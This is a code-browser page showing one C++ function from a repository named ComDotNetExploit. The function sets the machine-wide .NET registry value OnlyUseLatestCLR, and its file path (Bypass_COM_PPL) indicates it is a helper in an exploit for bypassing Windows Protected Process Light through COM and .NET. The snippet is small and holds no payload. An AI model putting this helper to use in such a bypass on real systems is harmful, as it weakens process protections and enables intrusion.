MCPcopy Create free account
hub / github.com/T3nb3w/ComDotNetExploit / SetOnlyUseLatestCLR

Method SetOnlyUseLatestCLR

Bypass_COM_PPL/registry_utils.cpp:67–81  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

65}
66
67bool RegistryUtils::SetOnlyUseLatestCLR(bool enable) {
68 HKEY hKey;
69 LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
70 LPCWSTR valueName = L"OnlyUseLatestCLR";
71
72 LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
73 REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
74 if (result != ERROR_SUCCESS) return false;
75
76 DWORD data = enable ? 1 : 0;
77 result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
78 reinterpret_cast<const BYTE*>(&data), sizeof(data));
79 RegCloseKey(hKey);
80 return result == ERROR_SUCCESS;
81}
82
83bool RegistryUtils::CleanOnlyUseLatestCLR() {
84 HKEY hKey;

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected